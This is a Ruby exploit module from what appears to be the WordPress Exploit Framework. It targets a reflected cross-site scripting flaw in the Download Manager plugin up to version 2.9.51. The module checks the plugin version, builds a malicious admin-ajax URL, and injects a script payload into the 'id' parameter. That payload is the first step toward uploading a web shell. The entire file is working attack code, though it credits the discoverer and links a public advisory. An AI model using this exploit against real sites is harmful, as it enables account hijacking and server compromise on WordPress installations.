# frozen_string_literal: true

class Wpxf::Exploit::DownloadManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'Download Manager <= 2.9.51 Reflected XSS Shell Upload',
      author: [
        'Tom Adams', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8850'],
        ['URL', 'https://security.dxw.com/advisories/xss-download-manager/']
      ],
      date: 'Jun 16 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('download-manager', 'readme.txt', '2.9.52')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin-ajax.php')
  end

  def xss_payload
    url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?action=wpdm_generate_password&id=#{xss_payload}"
  end
end
